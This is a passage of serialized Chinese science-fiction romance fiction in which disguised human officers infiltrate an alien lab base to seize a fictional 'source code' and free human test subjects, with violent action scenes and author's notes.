他刚要说什么，就听见身后有一个声音冷冷地响起：“已经是实验II期了，还需要人类？” ——是亲卫队统领博格，也是裴简珩。 这位奥克斯·奴瓦辛戈最信任的亲卫队统领性子就是这样，冰冷又不苟言笑，所以克劳也没起疑心，只是微微躬身道：“博格统领，上次元帅阁下表示过，人类Alpha的潜能还没有被最大的激发出来。多年前我们可以做出一个实验品379号，就能做出更多的379号。所以我们还在继续尝试。” 闻铮眯起了眼睛：“你们从哪里搞来的Alpha？” “这里离中立区很近，”克劳道，“中立区一向混乱，时不时丢点人也很正常，有问题还能甩给魁斗人。” “我猜你们的潜能激发实验没有效果吧。” 闻铮双手环胸，嘲笑道：“从中立区拐的人能有多高的等级？怎么可能支撑你们的实验，荒谬！” 他摆了摆手：“这些人类都是低级Alpha，不要浪费无谓的资源。” “……是！” 克劳低头行礼，心里却有了几分疑虑。 上次元帅阁下还让他们加速实验，务必复制出当年实验品379号独一无二的案例，怎么这次就推翻了？ 他犹豫地问：“那剩下的人类，克劳就直接处理掉了？” “还剩多少？” 克劳拉出悬浮面板看了一下：“还剩十五个。” “嗯哼，”闻铮饶有兴味地挑起唇角，“十五个，够我在回程的路上玩一阵的了。” “莱斯特。” 听到闻铮的轻唤，程迹踏前一步：“元帅阁下。” “把这十五个人类带到我的船上，”闻铮漫不经心，“关到禁闭室，等我有空了再来和他们好好玩玩。” 程迹微微皱了一下眉，他知道闻铮要把自己的同类救出去，但眼下这个时机确实说不上好，只是事已至此，他也不能当面拒绝，只能低头应下。 克劳刚要呼叫哈维来处理，却看见奥克斯·奴瓦辛戈对他摆了摆手：“你去吧，我来过多少次了，不需要一个导游在这里啰嗦。” 克劳一惊。试图争辩：“可是元帅阁下——” “可是什么？” 闻铮出手快如闪电，一把掐着克劳的脖颈就把他按在了附近的墙上，手掌紧缩，让这个德瓦人那张黑色的脸上都隐约泛起了青紫，在他即将咽气的前一瞬才松开手。 “这是我第二次对你出手，再有一次，我可就不会松开了。” 闻铮居高临下地睥睨着他：“不要、挑战、我的、权威，明白吗？” 克劳大脑缺氧，好像听到了又好像没听到，而迷迷糊糊之中，他好像看到元帅阁下和他的亲卫队统领向前走去，而下一秒，一抹阴影笼罩了他。 抬头，他看见了一张似笑非笑的脸。 莱斯特道：“现在，请把那十五个人类交给我。” …… 好不容易把克劳甩掉，闻铮松了口气。 裴简珩刚要说什么，却看见闻铮对他使了个眼色，就把话咽了回去。 闻铮看了一眼悬浮屏，那上面是运霖按照记忆帮他们绘制的构造图，他看了一眼实验中枢室，那里是刚刚克劳说漏嘴，让他们知道那是存放着源代码的地方。 他带着裴简珩走过了一个拐角，推开了拐角后安全出口的门，这才压低声音说：“这里没有电子眼，你刚刚要说什么？” 裴简珩凝视着他，摇了摇头：“……没什么。” 闻铮也没勉强他，压低声音：“我把程迹支开了，我们要趁着他回来之前把源代码拿到手里，我不相信他。” “这个源代码从0到1的版本是他写的，我大概也能猜到克米恩人的灭绝不是因为改变外貌的能力，而是因为这段代码。” 闻铮目光冷然：“我不知道他到底要做什么，但毫无疑问他在利用我们。” 裴简珩颔首，他就知道，闻哥这么聪明的人，早就和他一样想通了其中的关窍。 “程迹比我们两个加起来的智商还高，”闻铮脸色微沉，“他知道我们会对他产生警惕，我们的动作必须要快！” 裴简珩低头看了一眼时间：“我们还有十五分钟，如果一切顺利，拿到源代码不是难事。” “不，除了源代码以外，还有一件事。” 裴简珩一怔：“……什么？” 时间越久，他们越难完整地保持德瓦人的外貌，闻铮就时不时地会闪现自己那双漆黑的眼睛，此刻那双深不见底的眼睛深处正燃着熊熊火光：“我要带逐星号走。” “这是联邦的星舰，我不知道奥克斯·奴瓦辛戈对这艘船做了什么，以及未来要用它做什么，但我知道，它必须回家，必须回到联邦。” 裴简珩愣愣地看着他，显然这句话又一次刷新了他对闻铮的认知。 他一度以为闻铮和星舰军部闹得相当难看，才会让他在光芒万丈的时候宁可丢掉一切也要离开。 但现在，他又似乎能在闻铮的话里探到几分异样。 ——闻铮仍然相信星舰军队，他依然认为整个联邦星舰是一个整体，是一个承载理想、不可分割的锚点，哪怕逐星号流落在外，哪怕它已经被伤到面目全非，但只要它还在，就必须回到联邦去。 他握住了闻铮冰凉的手，用行动表示了自己的支持。 闻铮从他温热的体温获得了一部分能量，他深吸一口气：“如果我们要在拿到源代码以后再去夺取逐星号，时间或许就来不及——” “——我有一个主意。” 裴简珩轻轻笑了笑—— 作者有话说：感谢珍白雪w、34402499和西江月的营养液！ 掉落地图x1！ —— 对不起宝宝们！最近工作太忙一直在出差，存稿告急sos[化了] 先恢复每天一章更新，等我攒攒存稿卷土重来！ 求求大家不要养肥我，每天我还是会按时献上三千字+的！（拉衣角[可怜][可怜] 第112章 ……你是谁…… 幽深的走廊, 黑色的墙壁，让这里看上去如同深渊入口一般。 闻铮和裴简珩按照构造图画的路线，朝中枢室摸去。 只是…… 闻铮皱起眉, 他看着这些令人感到压抑的走廊和构造, 总觉得似曾相识。 怎么会？他记忆中自己从来没来过UNK-322星，更别提这座德瓦实验基地了！ 但…… 闻铮抿紧了唇, 他想做一个实验。 他们又急匆匆地走过了一条走廊，在下一个拐角处, 赫然出现了三条分叉路。 裴简珩看到闻铮在分叉路面前反而收起了路线图，一怔。 闻铮闭上了眼睛。 他把整个基地的构造图在脑海中重现, 只是不再参考谢运霖画的路线。不知为何，这个构造图他越看越熟悉, 甚至……潜意识知道要往哪里走。 闻铮睁开眼睛, 决然地跟随下意识的记忆选择了左边的岔路走廊, 裴简珩低头看了一眼路线图, 正是这个方向。 他沉默地也收起了悬浮屏, 视线落在前方的闻铮身上，却也一句话都没有说。 闻铮心里已经有了猜测。 他来过这里, 并且无论这里发生过什么，都足够刻骨铭心, 才会导致哪怕他的记忆已经一片空白，但他的潜意识却依然还记得。 他来过UNK-322星，也来过这个实验基地，那他……见过当年的裴简珩吗？ 情况紧急，容不得他多想。 闻铮暂时把这件事抛在脑后，先朝中枢室赶去。 就在他们距离中枢室还有最后一条走廊的时候，整个实验基地的警报却突然响起！ “005警报！005警报！673号实验体陷入狂躁, 橙色警报已开启，请相关人员立刻到31号实验室集合！” “重复一遍，005警报！005警报——” 随着基地人工智能的播报，整个实验基地的墙壁和天花板都开始出现一闪一闪的橙色警报，画面诡谲又窒息。 闻铮耳边回荡着机械的播报声和刺耳的警报声，好像和记忆深处的某个画面在慢慢重叠。 “……005警报！005警报！” “……实验体379号出逃，红色警报已开启！” “……你是谁……” “……清醒一点！” “……太迟了，他们都死了……” “……放手吧，我已经是被改造后的基因怪物了，不值得你们再为我把命留在这里。” “……不。” “我是来执行救援任务的，你是联邦的战士，我就不可能放你去死。” “相信我，我们会出去的，我会带你走……” “……带你回家。” 闻铮猛地蹲下，他的脑袋剧痛无比，好像有一万把铁锤在他脑子里砸，又好像有无数把电锯在锯着他的头，让他根本无法思考，站也站不住，险些直接倒在地上！ 裴简珩大惊，连忙把他一把搂进怀里：“闻哥？闻哥你怎么了？？” 闻铮根本听不到他的话，他的头太痛了，痛到他只想把头砸碎，好像只要砸碎了，就可以从这种痛苦中解脱！ 裴简珩看到他用力砸向自己的头，眼疾手快地把他双手也桎梏住，不让他伤害自己。 他低头看向闻铮，过大的痛苦和大脑的刺激让他无法保持奥克斯·奴瓦辛戈的外貌，属于闻铮苍白的皮肤和漆黑的双眼与德瓦人的黑皮浅瞳轮番出现，让他此刻看上去像是一个怪谲至极的融合体。 裴简珩吓得心跳都快停了，直到他听见闻铮在痛苦之下的低喃。 “……不。” “……我是来执行救援任务的，你是联邦的战士，我就不可能放你去死……” “……” 原来如此。 闻铮那段被强制封存的记忆在被强行唤醒，但如果不阻止他，他会记忆错乱以至于大脑崩溃！ 裴简珩掏出赫尔以防万一给他们都藏好的镇定剂，低头凝视怀里的闻铮，眼底的痛根本无法掩饰。 这是他离那段记忆最近的一次，也是离他们不得不被尘封的过去最近的一次。 “……不、不要！” 即使是在巨大的痛苦中，闻铮也挣扎着握住了裴简珩拿着镇静剂的手，他定定地看向自己的Alpha，几乎是带了一丝哀求：“……这是我的记忆，无论如何，我得把它……我得把它找回来……我也得把你找回来……” 裴简珩的眼眶红了，他低头在闻铮的额头上落下一个吻，喃喃道：“对不起，闻哥，对不起。” 他攥紧了闻铮的手腕，用力到手背青筋暴起，却又在闻铮忍不住吃痛出声的下一秒猛地泄力。 裴简珩沉下眼，把镇静剂扎进了闻铮的小臂里。他眼看着他在抽搐两下后变得平静起来，伪装的德瓦人外貌也慢慢恢复稳定。 裴简珩在闻铮发尾的最后一点由黑变白之前，爱怜地将那缕发丝掖到他的耳后。 比起找回那段记忆，我更想让您活下去。 没关系，我会让您重新爱上我，不管要再来多少次。 只是三分钟，等闻铮再睁开眼睛的时候，他已经恢复了一贯的冷静，只是有些迷惑地看向正半抱住自己的裴简珩：“……我怎么了？” 裴简珩勉强地笑了一下，把心里的酸涩和痛苦都咽了下去：“您刚刚突然晕倒，吓死我了。” “晕倒？”闻铮下意识地伸手摸向自己的后颈，那里一片光滑，德瓦人并没有人类的腺体，当然也不会给他带来身体上的异样反应。 “可能是转变外貌和基因对您原本就孱弱的身体造成了负担，”裴简珩眼睛都不眨地说瞎话，“等我们回去让赫尔再给您检查一下。” 闻铮颔首，他没忘记要做的事情，利索地从地上起来，抬手唤出构造图：“走，先去中枢室。” 裴简珩垂眸，万千的酸涩、痛苦和爱意，最后只化成了一句：“好。” 他们急急转过走廊的转角，在玻璃门的反射下，闻铮看向那张博格的脸，哪怕顶着德瓦人的外貌，他也能直直地看到裴简珩的灵魂。 他只看了一眼，就好像怕被裴简珩发现一样移开了目光。 在闻铮扭过脸的一瞬间，一串眼泪沉默地蜿蜒过他的侧脸，洇湿在了他胸前白色的衣领上，再无踪迹。 …… “总管大人，剩下的所有人类都在这里了。” 克劳对程迹微微欠身：“我来把他们传送到元帅大人的星舰上。” 程迹看到克劳有和这些神色麻木的人类一起传送过去的意味，心里一沉，面上仍然不动声色：“我和你一起。” 说着，他站到了克劳旁边，现在这个相位穿梭台上站了17个人，甚至有些拥挤。 克劳挑起了一边眉毛：“总管大人，只是押送实验体，克劳可以胜任。” 莱斯特总管是哨兵1军里总所周知的笑面虎，他笑起来的样子像一只尖牙利齿的鲨鱼：“我当然信任你的能力，只是元帅阁下不喜欢有外人在没有监督的情况下踏进他的船。” 莱斯特搬出了奥克斯·奴瓦辛戈，给克劳也噎得无话可说。 他低头按了按胸前的通讯器：“DEHWA-3567，十秒后进行相位穿梭，17人，启用二级方案，东1西16。” 克劳皱眉：“二级方案是什么？东什么西什么？” 机械的倒数声音响起：“8、7、6——” 他看见这位总管大人又对他露出了那种鲨鱼般的微笑：“马上你就知道了。” 克劳的左眼皮开始极速地颤抖，脊背上的汗毛直立，毛骨悚然的危险感席卷而来，甚至让他在这一瞬间有种不顾一切逃离这场相位穿梭的冲动！ 而眼前这位莱斯特总管大人，却好似洞悉了他的想法，电光火石之间，他伸出手牢牢地抓住了他的胳膊，让他无法逃脱！ 克劳瞪大眼睛：“你——” “3、2、1——” 他的手在最后一秒钟又被放开了，在被分解成量子进行相位穿梭之前，他又看到了那个鲨鱼一般血腥的笑容。 在被从量子状态重组回生物形态以后，他发现自己已经到了星舰里。 ——只是为什么眼前有一扇防护力场？ ——这是，星舰上的禁闭室？！ 其他人呢？ 那些人类储备实验体呢？？ 莱斯特呢？？？ 他猛地扑到了那扇玻璃上，凶狠地拍打起来：“搞什么！！” “不好意思，看来是相位穿梭官操作失误了，放心，我会惩罚他的。” 笑吟吟的声音响起，克劳猛地扭头看去，莱斯特和15个人类储备实验体被穿梭到了另一间禁闭室中，而此刻莱斯特正施施然地点开那间禁闭室的防护力场，从里面走了出来，慢慢踱步到自己面前：“误会一场，你看这事闹得，还给基地负责人关进这里了。” 不知为何，知道了是“误会”以后，本应该松口气的克劳却更加警惕了，他眯起了眼睛：“总管大人，您——” “别担心，我这就放你出来。” 莱斯特对他眨了眨眼睛，伸手在外面的悬浮操作面板上点了几下。 随后系统的机械提示音响起：“请确认操作。” 莱斯特把掌纹覆盖了上去。 “权限确认中……” “操作确认中……” “权限已确认。” …… “简珩，你能看到中枢室里现在有没有人吗？” 在距离中枢室还有二十米的时候，闻铮轻声叫停了裴简珩。 中枢室里到底有什么他们都不知道，也不敢贸然用侦察仪，所以裴简珩只能献出了自己极其敏锐的听力和视力，十几秒后，他低声道：“有三个人，从穿着来看，不是护卫队，是科学家。” 科学家好打一点，能套出的有用信息也会更多。 半分钟后，奥克斯·奴瓦辛戈和他的亲卫队统领博格，光明正大地踏进了德瓦实验基地的中枢室—— 作者有话说：感谢西江月、珍白雪w和34402499的营养液！ 掉落通讯器x1！ 第113章 他一定会活着 中枢室里的三名德瓦科学家应声看来, 在看到奥克斯·奴瓦辛戈那张刻薄寡毒的脸之后都大惊失色，连忙站直行礼：“参见元帅阁下！帝国万岁！” 闻铮扫了他们一眼，目光落在他们胸前的徽章上。从徽章的颜色能看出他们的军衔, 看样子其中一个身材最为高大的光头应该是首席, 军衔徽章是最高的银色。 只是他的身份并不在谢运霖的资料里，所以闻铮也不知道他的姓名和背景。 闻铮对他抬了抬下巴：“你, 给我展示一下你们的研究进展。” 光头科学家对他这种高傲和冒犯的态度显然已经习以为常，连忙请他靠近中枢台, 但也有几分犹豫：“元帅阁下，克劳大人的简报——” “他说话我听不懂, ”闻铮流露出几分不屑，“一个只会打架的蠢货, 你来说。” 一句话就把绕过克劳的行为正当化, 就算是程迹在这里也要赞叹闻铮的脑子的确转得快。 光头科学家笑了一下, 表情中带了几分嘲讽和自得。他把自己的掌纹贴到了中枢台的权限验证区, 一个机械男声响起：“源代码一级锁已解锁, 欢迎，霍华德首席。” 原来叫霍华德。 闻铮面色不改, 低头看向屏幕上的源代码。 ……糟了，看不懂。 他微微侧头看了一眼裴简珩, 裴简珩也对他隐晦地摇了摇头，示意自己也看不懂。 果然，物理、生物和数学是最藏不住的东西，不会就是不会。 闻铮的目光从那些晦涩难懂的代码上移开，命令道：“你是让我自己找不同吗？直接告诉我，比起2.3.1版本，你们对哪里进行了更改。” 霍华德动作一顿, 倒也是一边指给闻铮看，一边解释：“这个版本还是试行版，目前一共修正了三处，分别是……” 闻铮把那三处死记硬背下来，等霍华德说完后，流露出几分满意：“把这个版本同步到我的船上。” 霍华德这次是明显的一愣，犹疑：“……元帅阁下？” 闻铮紧张到双手冰凉，面上却没有任何异样，脸色一沉，把奥克斯·奴瓦辛戈的阴晴不定演绎得入木三分：“是我说的哪个字你听不懂？” “元帅阁下，您之前下过命令，所有版本的源代码能且只能通过机密线路进行传输。”霍华德眼神幽深，“这是这个实验基地的最高准则。” 闻铮眯起眼睛，一字一顿：“这个实验基地的最高准则，是我。” 霍华德缄默。 他是德瓦帝国最顶尖的物理与生物学家，从小在德瓦帝国进行最高等的教育，无数赞誉扑面而来，可以说他是整个德瓦帝国最聪明的人之一，这让他一度傲视群雄，深觉没人能和他在科学领域内再一较高下。 直到奥克斯·奴瓦辛戈把他招揽过来，给了他一小段未完全完成的源代码。 谁？！ 到底是谁！能做出这样的成就，能有这样的物理和生物学的造诣！这段源代码虽然只是雏形，但足以撼动整个已知宇宙的生物学基础！ 霍华德越深入研究这段源代码，越被做出它的人的智商和能力折服。而时间越长，越能清楚感知到自己的渺小。 震惊过后是赞叹，赞叹过后是敬仰，敬仰之后是嫉妒。 这个人行，自己为什么不行？ 他做了很多很多实验，死在实验台上的人类、艾尼默人、德瓦人不计其数，但他不在乎。 科学如此伟大，而通往科学里程碑的新篇章之路，必定要用鲜血铺就。 而对于奥克斯·奴瓦辛戈，他是心存感激的，感激他让自己能触摸到如此伟大未来设想的一角，也感激他为自己提供源源不断的资金、实验体和人员支持，更庆幸他和自己的认知高度一致——在这个项目中，源代码的重要性高于一切。 而现在，他却看着自己的眼睛，威胁地说：“这个实验基地的最高准则，是我。” 霍华德眼底闪过一丝阴狠，没有人能对这段源代码产生安全威胁，就算是奥克斯·奴瓦辛戈也休想！ 心里闪过决断，面上却依然不动声色，霍华德只是低头行礼：“是，元帅阁下。” 而他的手，却悄悄摸到了中枢台右侧的一个隐形按钮区。只要他按下去，基地会响起黑色警报，这段源代码就会在三秒之内传送到他设定好的安全机密线路内，而表面的源代码会被他事先写好的假版本覆盖。 就在他即将摸到按钮的前一秒，一阵剧痛从他的手腕传来，让他下意识地惨叫一声！ 奥克斯·奴瓦辛戈的亲卫队统领博格，正钳着他的手腕，冷冰冰地问：“你在干什么？” 霍华德那颗高度开发的大脑开始高速运转，他看向博格，试图想出一些诡辩：“博格大人，我正在按照元帅阁下的指令传输——你的眼睛怎么了？！” 震惊之色浮现在霍华德的脸上，裴简珩能从他的瞳孔里看到自己的倒影，属于博格的德瓦人外貌正在减退，那双浅金的眼睛也逐渐开始泛起湛蓝色。 裴简珩低咒一声：“该死！” 他的身体机能是常人的数倍，连带着其他指标也是一样，代谢的速度也会更快，因此他的外貌伪装失效的也会更快！ 闻铮的伪装还有6分钟，裴简珩却此刻就开始失效了。 在霍华德惊愕的注视下，眼前这位亲卫队统领正逐渐褪去德瓦人的外貌，肤色变白，瞳色变蓝，发色转银，身材也变得更为高大——人类Alpha！ 不、不只是人类Alpha！ 霍华德失声惊叫：“……是你！实验体379！” 这个容貌，霍华德死也不会忘记！ 这是他在实验I期阶段最成功的实验品，人类Alpha的生理潜能被激发到极致，无数实验品都死了，只有他顽强地熬了过去，不止活了下来，甚至身体的各项指标都完美到堪称奇迹！ 但他却在五年前旧实验基地的那场大动乱中跑了！ 那场大动乱几乎毁了整个实验基地，艾尼默奴隶的造反，人类实验体的反抗，外来者的救援……他们的实验进程几乎中断，直到两年后才又1:1重建起来。 而随着实验体379号的逃脱，整个实验进度不得不重新回到原点！这浪费了他们三年的时间，否则，战争早就打响，他们此刻已经在享受胜利了！ 实验体379……他是一个奇迹，在他逃脱以后，霍华德无数次想要复刻他的成功，却次次失败。不得已，他只能做出妥协——下调实验体的指标，这才能勉强成功进入第II阶段。 但现在，他居然还能、居然还敢再出现在这里！ “元帅阁下！”霍华德扭头看向奥克斯·奴瓦辛戈，急急道，“您被蒙骗了！他不是博格大人，是我们最成功的实验体379！把他抓住，我们的实验会更加成功！！” 在霍华德求助的眼神里，奥克斯·奴瓦辛戈笑了一下，他从后腰处掏出了一把相位枪，霍华德更着急地提醒：“活的！元帅阁下！我们得要活的！” “当然，”奥克斯·奴瓦辛戈说，“他一定会活着——” 在霍华德不可置信的眼神中，这位德瓦帝国最年轻的元帅阁下，以迅雷不及掩耳之势将相位枪转向了中枢室其他两个已经看傻了的德瓦科学家，两秒之后，那两个人已经被量子毁灭了，一根头发都没有留下。 奥克斯·奴瓦辛戈对他微笑，漆黑的瞳色一闪而过：“——该死的另有其人。” 霍华德宛如被雷电劈醒，瞬间就看懂了眼下的局势代表了什么！ 假的！ 都是假的！ 那个博格，这个奥克斯·奴瓦辛戈，都是假的！ 源代码……他们是为了源代码！ 霍华德嗬嗬地笑了起来，另一只没被钳住的手飞快地按下了另一个按钮，整个基地都响起了红色警报！ 他神色怨毒地瞪着裴简珩：“你走不了了，你们都走不了了！” 德瓦人外貌已经完全褪去的裴简珩阴郁地盯着他，这是极少极少在他脸上出现的神色，足以令任何人胆寒，却只叫闻铮心疼。 裴简珩一手掐住了霍华德的脖颈，只是微一用力，霍华德就难以呼吸，双手捶打着裴简珩的手，却宛如蚍蜉撼树，丝毫动弹不得！ 他的痛苦，他逝去的战友，他五年前开始的一切苦难，都是因为这个人。 而此刻，只要他轻轻动一动手指，霍华德就会立刻死在这里，一切都会结束，所有逝去的生命都会就此得到一个结果…… 裴简珩下意识地握紧了手里的脖子，而不经意的一个抬眼，他却看到了正遥遥注视着他的闻铮。 闻铮没有阻止他，他知道作为星舰军队的军官，从大局出发，霍华德此刻不能死。但他也知道，作为裴简珩的爱人，他不应当说出那句阻止的话。 所以他只是凝视着他年轻却饱经苦痛的爱人，无论他做出什么决定，他都已经想好了接下来的解决方案。 而此刻的选择权，就这样被他完完整整地奉到了裴简珩的手掌之间—— 作者有话说：感谢西江月、珍白雪w和34402499的营养液！ 掉落中枢台模型x1！ 第114章 抱歉 裴简珩手里握着他苦难人生罪魁祸首的脖颈, 遥遥地和也已经恢复外貌的闻铮对视。 他以为闻哥会着眼于大局而阻止他，但他在那双漆黑眸子里探寻，却只发现了他看向自己无边的心痛与爱怜。 裴简珩松开了手。 霍华德从他的手里像一具尸体一样滑了下去, 因为缺氧而用力地呼吸, 大脑一片空白。 他站不起来，瘫在地上还在挑衅地大笑：“实验体379……哈！你甚至不敢杀了毁掉你人生的人, 懦弱！” “试图激怒我是没用的。” 在这个瞬间，裴简珩的声音却异常的平静, 他从闻铮那里获得了足够的爱和理解，他知道不管他做什么, 他爱的人都会无条件的支持他，他的那些愤怒、绝望、委屈、不公……在一瞬间好似都溶解了。 “我不会让你就这么轻易地、痛快地解脱, ”裴简珩垂眼看着宛如一滩烂泥的霍华德, 淡淡道, “你必须要为你做过的事付出对等的代价, 只是死亡, 远远不够。” 听到这句话，闻铮知道, 裴简珩跟自己和解了。 话虽如此，裴简珩还是在霍华德痛苦的惨叫声中, 沉着眉眼，把他的四肢一个一个地踩断。 左手、右手、左脚、右脚。 裴简珩最后踩在了霍华德的脖颈上，让这个德瓦科学家呼吸困难，痛苦万分，连叫都叫不出来。 “我只需要你的大脑，”裴简珩听见了自己的声音，冰冷又平静, “除此以外，什么都不重要。你会就这样像一滩烂泥一样趴在地上，没有自尊，当然也毫无你们德瓦人信仰的荣誉。” 闻铮没有说话，他只是站在一旁，沉默地点开了和谢运霖的通讯，让他把霍华德相位穿梭到战舰上关起来。 相位穿梭开始，霍华德在彻底昏迷之前的最后一眼，看到的是正紧紧相拥着的一对爱人。 闻铮张开双臂环住了裴简珩，让自己的温度可以对他起到一丝抚慰。 裴简珩怔了一秒，随后更加用力地将他怀抱住，想把他揉进自己身体里面，和他的信仰和锚点就此你中有我我中有你，再也不分开。 …… 时间紧迫，在冷静下来之后，他们又回到了中枢台前，研究如何能把这段源代码拿走。 闻铮有些头痛：“我没有看到任何端口，难道要直接把这个中枢台搬走吗？” 裴简珩蹲下来检查了一下连接之处，摇头：“如果强行断开链接，中枢台会进入自毁流程，源代码还是有可能自动发送出去，我们就很难再追踪了。” “但这一定有办法，”闻铮道，“否则就存在巨大的安全漏洞，一旦这个基地或星球出什么问题，源代码难道就随之毁灭了？” 他们找了一圈，还是束手无策。 闻铮当机立断：“把黎晓相位穿梭过来，看他有没有办法。” 他刚准备连接和黎晓的通讯，就听到了中枢室门外传来了很多的脚步声。 闻铮和裴简珩的神色都是一凛，两个人同时端起了相位枪，对准中枢室的门。 五秒过后，门被打开，克劳带着其他二十几名护卫出现了。 现在闻铮和裴简珩已经是彻头彻尾的人类外貌，入侵者是谁一目了然。 克劳的眼光闪现了几分阴郁：“你们胆敢——胆敢冒充奥克斯·奴瓦辛戈阁下，狡猾的人类，克劳一定要把你们的头砍下来吊在基地外面——” 闻铮扫过那十几个护卫，克劳捕捉到了他的眼神，冷笑：“你们只有两个人，别做无谓的抵抗。” 闻铮却莞尔一笑，他黑发白肤，倏地一笑更是宛如冷雪消融，漂亮凛冽的不似真人。 和明媚漂亮的笑容正相反，他把相位枪移向了中枢台，淡淡道：“你们敢上前一步，我就把你们的源代码毁了。我们固然没命，你们也很快就会被奥克斯·奴瓦辛戈送到地底下来陪我们。” 他从刚刚霍华德的反应中能窥见，他们这种科学家和克劳、哈维这样的士兵不太对付，所以他在赌，霍华德没有将中枢台在被毁灭后自动发送源代码这件事告诉克劳和哈维。 果不其然，看到他的动作之后，所有人都警惕了起来。 就连护卫队的小队长，都忍不住上前一步：“克劳大人——” 克劳神色一沉：“你们到底要干什么？” 闻铮道：“让你的士兵们把武器放下，你自己进来。” “不可能。”克劳断然拒绝。 闻铮眼睛都不眨，开枪就把中枢台崩掉一个角。 克劳的神色变得非常紧张，他举起一只手，思考了一会儿之后转头命令道：“放下武器。” 护卫们面面相觑，还是服从命令把相位枪扔到了地上。 克劳看了一眼小队长“你跟我一起进去。” 小队长低头应是。 他们走进中枢室，把门关上。 闻铮看着他们的动作，眉心微微舒展：“现在，我们可以聊一下了。” “……还不行。” 克劳却笑了，那张暗色的脸上露出了几分诡异。 他出手如电，拔|出自己的相位枪对准小队长就是一枪！ 小队长在根本没有反应过来的时候，就变成量子消散了，甚至连一个字都没说出来，只剩他的枪因为主人的消失而掉在了地上。 闻铮和裴简珩都被他这突如其来的倒戈镇住了。 克劳一手拿着自己的枪，一手把哈维的枪捡起来，他回身一脚踹开身后的门，双手开弓在眨眼间就把门外已经没有武器的德瓦护卫全歼！ 闻铮和裴简珩更懵了。 只不过半分钟，走廊上空空如也，除了地上的枪，什么都没有。 这时候，克劳才又重新回到中枢室里，对他们微笑：“现在，我们可以聊聊了。” 他抬手按住了自己的太阳穴，眨眼之间，程迹出现了。 …… 十五分钟前 “权限确认中……” “操作确认中……” “权限已确认。” “正在进行引力场失衡操作。” 在听到最后这句机械音后，克劳的表情凝固了。 他猛地砸向防护力场，可惜，连相位武器都撼动不了的防护力场，怎么可能被他的肉|体机能突破。 所以他毫无办法。 这个禁闭室里的引力在0到数十倍常规重力间随机疯狂波动，没有立刻致命，但克劳能感觉到自己五脏六腑都在被挤压，血从他嘴角喷涌而出，不管是骨骼的碎裂还是器官的撕裂，他统统都能无比清晰地感知到。 不一会儿，禁闭室里只剩下一块烂泥。 程迹居高临下地看着那块黑色的肉，按住太阳穴变回了原本的样子，轻声道：“给你报仇了。” 谢运霖的声音响起，带了几分叹息：“……多谢您。” 程迹又按下了禁闭室的清理按键，几秒钟的时间，里面重新变得干干净净，好像什么都没发生。 他又按上了太阳穴，眨眼间变成了克劳的模样。 程迹朝外走去，在路过舰桥的时候却看到里面空无一人，犹疑地顿住脚步：“运霖，凯利斯呢？” …… 三个人在中枢室里面面相觑。 闻铮微微皱眉：“克劳呢？” “死了。”程迹漫不经心，“感谢的话就不必多说了，先拿到源代码，我们需要赶紧离开。” 闻铮倒是很好说话地让开了中枢台的位置，反正他和裴简珩也拿这个中枢台没办法，还不如让程迹来试一下。 程迹打开了中枢台的悬浮屏，双手以极快的速度在上面操作。 闻铮看了裴简珩一眼，虽然一句话都没说，但裴简珩立刻心领神会。 “怎么样，能带走吗？”闻铮朝程迹那边凑近了一些，隐隐约约地挡住裴简珩的动线，“源代码需要奥克斯·奴瓦辛戈的权限，我的外貌和基因伪装已经失效，无法解锁。只能你变成他的样子再试试——” “不需要，”程迹淡淡道，“这段源代码最初是我写的，以防万一，我埋了只有我能解的程序。” 话音刚落，机械女声响起：“源代码终极锁已解锁，欢迎回来，程少将。” 中枢台上所有悬浮着的代码和数据都旋转起来，如星辰般围绕运转，最后凝成一串悬空的密钥，又化成了一块小小的金属铭牌。 程迹垂眼凝视着它，眼底万分复杂。 他曾经那么笃信，这会是人类、克米恩人、艾尔文人、阿来人、艾尼默人……所有已知宇宙的智慧文明的下一个跃进时代。 物种间的强强融合，是另一种意义上的基因优选，通过这段源代码，所有的生物壁垒都会被突破，联邦会走向更强盛的未来，德瓦帝国会更快地被迫结束这场侵略战争，在绝对的实力面前，和平才会真的到来。 直到消息不知为何泄露，随后席卷而来的，是他再也无法控制的命运浪潮。 被灭绝的种族，被屠戮的母星，一切都只因为他在某个瞬间写出了一个尚未成熟的理想主义代码。 他曾经因为这个设想和源代码的诞生欣喜若狂，在看不到未来的第二次星际战争中，他嗅到了战争结束和时代变革的前兆。 星际联邦为此召开了长达三个月的议会，人道主义和进化论在打架，而在他们还没吵清楚的时候，德瓦帝国已经将这段源代码抢走、实验、变异、优化。 一把所向披靡的剑，还没等决定是否要出鞘，却已经到了敌人的手里。 程迹叹了口气，伸手把那枚金属铭牌攥在了手里。 下一刻，他的后脑传来一丝冷意。 裴简珩的相位枪抵住了他的后脑勺，而闻铮绕到了他的正面，神情复杂：“抱歉，程院士，请把源代码给我。”—— 作者有话说：想不到吧.jpg 大家好沉默啊，想和大家叽叽喳喳聊天55555[求你了] 第115章 战舰舰长 程迹目光微沉：“闻指挥官这是什么意思？” “不必再装模作样了, 程院士。”闻铮淡淡道，“我不信任你，你当然也不信任我, 互相利用的前提是双方都保持警惕。” “真让我伤心, 我还以为我们已经算朋友了呢。”程迹说，“事先说明, 我可没有不信任你。” 沉默了一下，闻铮道：“那就当我是个度君子之腹的小人, 我不能冒这个险让源代码落在除了星际舰队之外的人手中，哪怕是创造它的人也不行。” 程迹那双褐色的眼睛里闪过一丝玩味：“闻指挥官, 你既然知道我是创造它的人，那你就应该知道, 哪怕你把这段源代码拿走了, 我依然还能再创造出来一个一模一样的。” “真的吗？” 闻铮没有科学家那么聪明绝顶, 但也机敏过人, 即使程迹这句话看似很有道理, 但他立刻抓到了其中的漏洞：“如果你真的能重写，又何必利用我们费这么大劲把它找回来？” 程迹轻轻咂了一下舌, 有些埋怨：“这么聪明会很讨人厌的。” “我就把这句话当成夸奖了。”闻铮朝他伸出了手，“把源代码给我。” “如果我不给呢？”程迹饶有兴味, “你们是联邦的军官，在联邦的人道主义之下，就算你们现在用枪指着我，难道你们就真的会杀了我？” “当然不会。”闻铮很平静，“但简珩会在一秒之内把你击晕，我们会把你拖回星舰上，从这里离开以后再把你这个联邦最高逃犯交给军部, 你继续回到联邦法则之塔蹲完你的四千多年刑期。” “或者，你也可以选择继续和我们合作，把源代码交给我，我对你在其中的存在只字不提。你只是破晓号上的科学官茱莉，我愿意为你承担这个窝藏逃犯的风险。” “……” 程迹叹息：“看样子我也没有什么其他的选择了，对吗？” 闻铮又把手朝他伸近，程迹把那块金属铭牌缓缓地放到了他的手心上。 ……好轻。 金属铭牌接触到掌心的一瞬间，闻铮甚至几不可见地瑟缩了一下。 